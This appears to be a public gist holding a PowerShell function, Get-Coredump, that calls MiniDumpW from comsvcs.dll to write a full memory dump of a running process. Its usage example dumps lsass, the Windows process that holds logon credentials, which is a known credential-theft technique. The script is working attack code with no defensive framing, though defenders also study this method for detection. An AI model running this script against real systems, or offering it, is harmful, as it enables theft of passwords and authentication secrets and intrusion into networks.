Created
January 6, 2020 21:55
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function Get-Coredump | |
{ | |
<# | |
.SYNOPSIS | |
Uses COM services to generate a coredump of a running process | |
.DESCRIPTION | |
Uses COM services to generate a coredump of a running process | |
.EXAMPLE | |
C:\> $lsass = Get-Process -Name lsass | |
C:\> Get-Coredump -ProcId $lsass.Id -DumpPath c:\dumps\lsass.dmp | |
#> | |
param( | |
[Parameter(Mandatory = $True)] | |
[String]$DumpPath, | |
[Parameter(Mandatory = $False)] | |
[ValidateSet("full", "mini")] | |
[String]$DumpType = "full", | |
[Parameter(Mandatory = $True)] | |
[int]$ProcID | |
) | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
public static class ComSvcs | |
{ | |
[DllImport("comsvcs.dll", SetLastError=true, CharSet=CharSet.Unicode)] | |
public static extern bool MiniDumpW( | |
IntPtr Dummy1, | |
IntPtr Dummy2, | |
string lpArg | |
); | |
} | |
public static class Kernel32 | |
{ | |
[DllImport("kernel32.dll")] | |
public static extern uint GetLastError(); | |
} | |
"@ | |
$lpArg = "{0:d} {1:s} {2:s}" -f $ProcID, $DumpPath, $DumpType | |
Write-Output "[*] calling comsvcs!MiniDumpW..." | |
if( [ComSvcs]::MiniDumpW(0,0,$lpArg) ) | |
{ | |
Write-Output "[+] Success, process PID=$($ProcID) dumped as '$($DumpPath)'" | |
} | |
else | |
{ | |
Write-Error "[-] Failed to dump process: $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)" | |
} | |
} |
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